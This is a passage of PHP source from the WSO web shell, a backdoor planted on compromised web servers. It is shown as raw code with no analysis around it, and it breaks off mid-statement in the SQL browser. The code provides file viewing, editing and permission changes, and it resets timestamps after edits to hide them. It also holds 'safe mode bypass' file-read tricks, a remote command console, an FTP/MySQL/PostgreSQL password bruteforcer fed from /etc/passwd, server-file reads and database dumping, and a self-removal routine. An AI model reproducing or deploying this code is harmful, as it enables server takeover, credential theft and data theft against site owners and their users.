\'.wsoPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\r\n\techo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\r\n\tif( empty($_POST[\'p2\']) )\r\n\t\t$_POST[\'p2\'] = \'view\';\r\n\tif( is_file($_POST[\'p1\']) )\r\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');\r\n\telse\r\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n\tforeach($m as $v)\r\n\t\techo \'<a href=# onclick="g(null,null,null,\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\r\n\techo \'<br><br>\';\r\n\tswitch($_POST[\'p2\']) {\r\n\t\tcase \'view\':\r\n\t\t\techo \'<pre class=ml1>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</pre>\';\r\n\t\t\tbreak;\r\n\t\tcase \'highlight\':\r\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\r\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\r\n\t\t\t\t$code = @highlight_file($_POST[\'p1\'],true);\r\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase \'chmod\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$perms = 0;\r\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\r\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\r\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\r\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'edit\':\r\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\r\n\t\t\t\techo \'File isn\\\'t writeable\';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\r\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\r\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\r\n\t\t\t\tif($fp) {\r\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\r\n\t\t\t\t\t@fclose($fp);\r\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\r\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,null,null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</textarea><input type=submit value=">>"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'hexdump\':\r\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\r\n\t\t\t$n = 0;\r\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\r\n\t\t\t$len = strlen($c);\r\n\t\t\tfor ($i=0; $i<$len; ++$i) {\r\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\n\t\t\t\tswitch ( ord($c[$i]) ) {\r\n\t\t\t\t\tcase 0: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 9: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\r\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\r\n\t\t\t\t}\r\n\t\t\t\t$n++;\r\n\t\t\t\tif ($n == 32) {\r\n\t\t\t\t\t$n = 0;\r\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\r\n\t\t\t\t\t$h[1] .= \'<br>\';\r\n\t\t\t\t\t$h[2] .= "\\n";\r\n\t\t\t\t}\r\n\t\t \t}\r\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\r\n\t\t\tbreak;\r\n\t\tcase \'rename\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\r\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\r\n\t\t\t\telse\r\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'touch\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\r\n\t\t\t\tif($time) {\r\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\r\n\t\t\t\t\t\techo \'Fail!\';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \'Touched!\';\r\n\t\t\t\t} else echo \'Bad time format!\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';\r\n\t\t\tbreak;\r\n\t}\r\n\techo \'</div>\';\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionSafeMode() {\r\n\tswitch($_POST[\'p1\']) {\r\n\t\tcase 1:\r\n\t\t\t$temp=@tempnam(\'.\', \'cx\');\r\n\t\t\tif(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){\r\n\t\t\t\techo @file_get_contents($temp);\r\n\t\t\t\tunlink($temp);\r\n\t\t\t} else\r\n\t\t\t\techo \'Sorry... Can\\\'t open file\';\r\n\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\t$files = glob($_POST[\'p2\'].\'*\');\r\n\t\t\tif( is_array($files) )\r\n\t\t\t\tforeach ($files as $filename)\r\n\t\t\t\t\techo $filename."\\n";\r\n\t\t\tbreak;\r\n\t\tcase 3:\r\n\t\t\t$ch = curl_init("file://".$_POST[\'p2\']."\\x00".preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__));\r\n\t\t\tcurl_exec($ch);\r\n\t\t\tbreak;\r\n\t\tcase 4:\r\n\t\t\tini_restore("safe_mode");\r\n\t\t\tini_restore("open_basedir");\r\n\t\t\tinclude($_POST[\'p2\']);\r\n\t\t\tbreak;\r\n\t\tcase 5:\r\n\t\t\tfor(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\r\n\t\t\t\t$uid = @posix_getpwuid($_POST[\'p2\']);\r\n\t\t\t\tif ($uid)\r\n\t\t\t\t\techo join(\':\',$uid)."\\n";\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t}\r\n\t$temp = ob_get_clean();\r\n\twsoHeader();\r\n\techo \'<h1>Safe mode bypass</h1><div class=content>\';\r\n\techo \'<span>Copy (read file)</span><form onsubmit=\\\'g(null,null,"1",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\\\'g(null,null,"2",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\\\'g(null,null,"3",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\\\'g(null,null,"4",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\';\r\n\tif($temp)\r\n\t\techo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.htmlspecialchars($temp).\'</pre>\';\r\n\techo \'</div>\';\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionConsole() {\r\n if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\r\n $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\'] = true;\r\n $_POST[\'p1\'] .= \' 2>&1\';\r\n } elseif(!empty($_POST[\'p1\']))\r\n $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\'] = false;\r\n\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\t$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;\r\n\t\tob_start();\r\n\t\techo "d.cf.cmd.value=\'\';\\n";\r\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']),"\\n\\r\\t\\\\\'\\0"));\r\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\r\n\t\t\tif(@chdir($match[1])) {\r\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\r\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo "d.cf.output.value+=\'".$temp."\';";\r\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\r\n\t\t$temp = ob_get_clean();\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n\twsoHeader();\r\n echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array(\'\');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push(\'\');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";\r\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><select name=alias>\';\r\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\r\n\t\tif($v == \'\') {\r\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\r\n\t}\r\n\tif(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\t$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;\r\n\techo \'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']));\r\n\t}\r\n\techo \'</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\r\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionLogout() {\r\n session_destroy();\r\n\tdie(\'bye!\');\r\n}\r\n\r\nfunction actionSelfRemove() {\r\n\r\n\tif($_POST[\'p1\'] == \'yes\')\r\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\r\n\t\t\tdie(\'Shell has been removed\');\r\n\t\telse\r\n\t\t\techo \'unlink error!\';\r\n if($_POST[\'p1\'] != \'yes\')\r\n wsoHeader();\r\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionBruteforce() {\r\n\twsoHeader();\r\n\tif( isset($_POST[\'proto\']) ) {\r\n\t\techo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';\r\n\t\tif( $_POST[\'proto\'] == \'ftp\' ) {\r\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\r\n\t\t\t\t$fp = @ftp_connect($ip, $port?$port:21);\r\n\t\t\t\tif(!$fp) return false;\r\n\t\t\t\t$res = @ftp_login($fp, $login, $pass);\r\n\t\t\t\t@ftp_close($fp);\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t} elseif( $_POST[\'proto\'] == \'mysql\' ) {\r\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\r\n\t\t\t\t$res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass);\r\n\t\t\t\t@mysql_close($res);\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t} elseif( $_POST[\'proto\'] == \'pgsql\' ) {\r\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\r\n\t\t\t\t$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\r\n\t\t\t\t$res = @pg_connect($str);\r\n\t\t\t\t@pg_close($res);\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t}\r\n\t\t$success = 0;\r\n\t\t$attempts = 0;\r\n\t\t$server = explode(":", $_POST[\'server\']);\r\n\t\tif($_POST[\'type\'] == 1) {\r\n\t\t\t$temp = @file(\'/etc/passwd\');\r\n\t\t\tif( is_array($temp) )\r\n\t\t\t\tforeach($temp as $line) {\r\n\t\t\t\t\t$line = explode(":", $line);\r\n\t\t\t\t\t++$attempts;\r\n\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\r\n\t\t\t\t\t\t$success++;\r\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(@$_POST[\'reverse\']) {\r\n\t\t\t\t\t\t$tmp = "";\r\n\t\t\t\t\t\tfor($i=strlen($line[0])-1; $i>=0; --$i)\r\n\t\t\t\t\t\t\t$tmp .= $line[0][$i];\r\n\t\t\t\t\t\t++$attempts;\r\n\t\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\r\n\t\t\t\t\t\t\t$success++;\r\n\t\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t} elseif($_POST[\'type\'] == 2) {\r\n\t\t\t$temp = @file($_POST[\'dict\']);\r\n\t\t\tif( is_array($temp) )\r\n\t\t\t\tforeach($temp as $line) {\r\n\t\t\t\t\t$line = trim($line);\r\n\t\t\t\t\t++$attempts;\r\n\t\t\t\t\tif( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\r\n\t\t\t\t\t\t$success++;\r\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t}\r\n\t\techo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";\r\n\t}\r\n\techo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'\r\n\t\t.\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'\r\n\t\t.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'\r\n\t\t.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'\r\n\t\t.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'\r\n\t\t.\'<span>Server:port</span></td>\'\r\n\t\t.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'\r\n\t\t.\'<tr><td><span>Brute type</span></td>\'\r\n\t\t.\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'\r\n\t\t.\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'\r\n\t\t.\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'\r\n\t\t.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'\r\n\t\t.\'<td><input type=text name=login value="root"></td></tr>\'\r\n\t\t.\'<tr><td><span>Dictionary</span></td>\'\r\n\t\t.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'\r\n\t\t.\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';\r\n\techo \'</div><br>\';\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionSql() {\r\n\tclass DbClass {\r\n\t\tvar $type;\r\n\t\tvar $link;\r\n\t\tvar $res;\r\n\t\tfunction DbClass($type)\t{\r\n\t\t\t$this->type = $type;\r\n\t\t}\r\n\t\tfunction connect($host, $user, $pass, $dbname){\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\tif( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\t$host = explode(\':\', $host);\r\n\t\t\t\t\tif(!$host[1]) $host[1]=5432;\r\n\t\t\t\t\tif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction selectdb($db) {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\tif (@mysql_select_db($db))return true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction query($str) {\r\n\t\t\tswitch($this->type) {\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn $this->res = @mysql_query($str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn $this->res = @pg_query($this->link,$str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction fetch() {\r\n\t\t\t$res = func_num_args()?func_get_arg(0):$this->res;\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn @mysql_fetch_assoc($res);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn @pg_fetch_assoc($res);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction listDbs() {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n return $this->query("SHOW databases");\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction listTables() {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn $this->res = $this->query(\'SHOW TABLES\');\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction error() {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn @mysql_error();\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn @pg_last_error();\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction setCharset($str) {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\tif(function_exists(\'mysql_set_charset\'))\r\n\t\t\t\t\t\treturn @mysql_set_charset($str, $this->link);\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$this->query(\'SET CHARSET \'.$str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn @pg_set_client_encoding($this->link, $str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction loadFile($str) {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\t$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");\r\n\t\t\t\t\t$r=array();\r\n\t\t\t\t\twhile($i=$this->fetch())\r\n\t\t\t\t\t\t$r[] = $i[\'file\'];\r\n\t\t\t\t\t$this->query(\'drop table wso2\');\r\n\t\t\t\t\treturn array(\'file\'=>implode("\\n",$r));\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction dump($table, $fp = false) {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\t$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\r\n\t\t\t\t\t$create = mysql_fetch_array($res);\r\n\t\t\t\t\t$sql = $create[1].";\\n";\r\n if($fp) fwrite($fp, $sql); else echo($sql);\r\n\t\t\t\t\t$this->query(\'SELECT * FROM `\'.$table.\'`\');\r\n $head = true;\r\n\t\t\t\t\twhile($item = $this->fetch()) {\r\n\t\t\t\t\t\t$columns = array();\r\n\t\t\t\t\t\tforeach($item as $k=>$v) {\r\n if($v == null)\r\n $item[$k] = "NULL";\r\n elseif(is_numeric($v))\r\n $item[$k] = $v;\r\n else\r\n $item[$k] = "\'".@mysql_real_escape_string($v)."\'";\r\n\t\t\t\t\t\t\t$columns[] = "`".$k."`";\r\n\t\t\t\t\t\t}\r\n if($head) {\r\n $sql = \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $item).\')\';\r\n $head = false;\r\n } else\r\n $sql = "\\n\\t,(".implode(", ", $item).\')\';\r\n if($fp) fwrite($fp, $sql); else echo($sql);\r\n\t\t\t\t\t}\r\n if(!$head)\r\n if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\t$this->query(\'SELECT * FROM \'.$table);\r\n\t\t\t\t\twhile($item = $this->fetch()) {\r\n\t\t\t\t\t\t$columns = array();\r\n\t\t\t\t\t\tforeach($item as $k=>$v) {\r\n\t\t\t\t\t\t\t$item[$k] = "\'".addslashes($v)."\'";\r\n\t\t\t\t\t\t\t$columns[] = $k;\r\n\t\t\t\t\t\t}\r\n $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."\\n";\r\n if($fp) fwrite($fp, $sql); else echo($sql);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t};\r\n\t$db = new DbClass($_POST[\'type\']);\r\n\tif(@$_POST[\'p2\']==\'download\') {\r\n\t\t$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\r\n\t\t$db->selectdb($_POST[\'sql_base\']);\r\n switch($_POST[\'charset\']) {\r\n case "Windows-1251": $db->setCharset(\'cp1251\'); break;\r\n case "UTF-8": $db->setCharset(\'utf8\'); break;\r\n case "KOI8-R": $db->setCharset(\'koi8r\'); break;\r\n case "KOI8-U": $db->setCharset(\'koi8u\'); break;\r\n case "cp866": $db->setCharset(\'cp866\'); break;\r\n }\r\n if(empty($_POST[\'file\'])) {\r\n ob_start("ob_gzhandler", 4096);\r\n header("Content-Disposition: attachment; filename=dump.sql");\r\n header("Content-Type: text/plain");\r\n foreach($_POST[\'tbl\'] as $v)\r\n\t\t\t\t$db->dump($v);\r\n exit;\r\n } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\r\n foreach($_POST[\'tbl\'] as $v)\r\n $db->dump($v, $fp);\r\n fclose($fp);\r\n unset($_POST[\'p2\']);\r\n } else\r\n die(\'<script>alert("Error! Can\\\'t open file");window.history.back(-1)</script>\');\r\n\t}\r\n\twsoHeader();\r\n\techo "\r\n<h1>Sql browser</h1><div class=content>\r\n<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\r\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\r\n<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>\r\n<td><select name=\'type\'><option value=\'mysql\' ";\r\n if(@$_POST[\'type\']==\'mysql\')echo \'selected\';\r\necho ">MySql</option><option value=\'pgsql\' ";\r\nif(@$_POST[\'type\']==\'pgsql\')echo \'selected\';\r\necho ">PostgreSql</option></select></td>\r\n<td><input type=text name=sql_host value=\'". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\'></td>\r\n<td><input type=text name=sql_login value=\'". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\'></td>\r\n<td><input type=text name=sql_pass value=\'". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\'></td><td>";\r\n\t$tmp = "<input type=text name=sql_base 